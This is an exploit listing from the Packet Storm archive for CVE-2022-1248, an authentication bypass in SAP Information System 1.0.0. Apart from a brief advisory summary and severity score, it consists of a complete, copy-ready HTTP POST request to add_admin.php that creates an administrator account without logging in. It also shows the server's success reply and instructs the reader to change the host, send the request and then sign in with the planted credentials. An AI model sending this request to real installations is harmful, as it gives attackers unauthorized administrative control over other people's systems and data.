exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SAP Information System 1.0.0 Missing Authorization

SAP Information System 1.0.0 Missing Authorization
Posted Apr 7, 2022
Authored by Mr Empy

SAP Information System version 1.0.0 suffers from an improper authentication vulnerability that allows a malicious user to create an administrative account without needing to authenticate. The POST request is sent to the /SAP_Information_System/controllers/add_admin.php endpoint. The problem occurs due to lack of session verification in the request.

tags | exploit, php, bypass
advisories | CVE-2022-1248
SHA-256 | 81b2d35c550ef4f8db3fd0aac42c15232a707b20d75b5eeabeefd52e176de1e6

SAP Information System 1.0.0 Missing Authorization

Change Mirror Download
# Exploit Title: SAP Information System 1.0.0 - Improper Authentication
# Date: 06/04/2022
# CVE: CVE-2022-1248
# Exploit Author: Mr Empy
# Software Link:
https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Version: 1.0.0
# Tested on: Linux


Title:
================
SAP Information System 1.0.0 - Improper Authentication


Summary:
================
SAP Information System version 1.0.0 suffers from an improper
authentication vulnerability that allows a malicious user to create an
administrative account without needing to authenticate. The POST request is
sent to the /SAP_Information_System/controllers/add_admin.php endpoint. The
problem occurs due to lack of session verification in the request.


Severity Level:
================
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L


Affected Product:
================
SAP Information System version v1.0.0


Steps to Reproduce:
================

Steps to Reproduce:

1. Copy this request and change the host and send it to the server:

############################################

POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1
Host: target.com
Content-Length: 345
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI
Origin: http://target.com
Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c
Connection: close

------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="username"

hacker
------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="password"

P@ssw0rd!
------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="user"

admin
------WebKitFormBoundaryYELEK8fMdX63l0iI--

############################################

Reply:

############################################

HTTP/1.1 200 OK
Date: Tue, 05 Apr 2022 16:15:46 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 267
Connection: close
Content-Type: text/html; charset=UTF-8


<script type="text/javascript">setTimeout(function () { swal("Add Admin
Successfully!","Message!","success");}, 1000);</script><script
type="text/javascript">setTimeout(function(){window.location =
"/SAP_Information_System/Dashboard/pages/Admin.php"},1000)</script>

############################################

2. Go to the login page and enter the hacker:P@ssw0rd! credential. After
that you will be logged in with an administrative account.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close